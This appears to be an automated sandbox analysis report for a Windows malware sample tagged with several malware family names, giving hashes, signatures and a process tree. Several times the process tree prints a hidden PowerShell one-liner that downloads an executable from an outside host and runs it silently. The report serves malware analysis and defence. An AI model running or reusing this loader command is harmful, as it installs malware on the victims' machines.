Analysis

  • max time kernel
    149s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/09/2026, 22:25

General

  • Target
    2026-09-25_98c6920ce00f34239e09c90e5490497c_cobalt-strike_icedid_njrat_satacom_stealc.exe
  • Size 256KB
  • Sample260925-2by4ksaa38
  • SHA256 9811a1abf1462c8ef7be4958d5138201f30850099118f3160b72095991895f00
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-25_98c6920ce00f34239e09c90e5490497c_cobalt-strike_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-25_98c6920ce00f34239e09c90e5490497c_cobalt-strike_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:4636
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK225637.exe; Start-Process -FilePath $env:TEMP\BK225637.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2412
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK225637.exe; Start-Process -FilePath $env:TEMP\BK225637.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4820
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK225637.exe; Start-Process -FilePath $env:TEMP\BK225637.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2056

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        memory/2056-0-0x00007FFF86A4F000-0x00007FFF86A50000-memory.dmp

        memory/2056-4-0x00007FFF868C0000-0x00007FFF87264000-memory.dmp

        memory/2056-3-0x000001AEA71B0000-0x000001AEA71D2000-memory.dmp

        memory/2056-5-0x00007FFF868C0000-0x00007FFF87264000-memory.dmp

        memory/2056-6-0x00007FFF868C0000-0x00007FFF87264000-memory.dmp

        memory/2056-7-0x00007FFF868C0000-0x00007FFF87264000-memory.dmp

        memory/2056-8-0x00007FFF868C0000-0x00007FFF87264000-memory.dmp

        memory/2056-9-0x00007FFF868C0000-0x00007FFF87264000-memory.dmp

        memory/2056-10-0x00007FFF868C0000-0x00007FFF87264000-memory.dmp

        memory/2056-11-0x00007FFF868C0000-0x00007FFF87264000-memory.dmp

        memory/2056-13-0x00007FFF868C0000-0x00007FFF87264000-memory.dmp

        memory/2056-14-0x00007FFF868C0000-0x00007FFF87264000-memory.dmp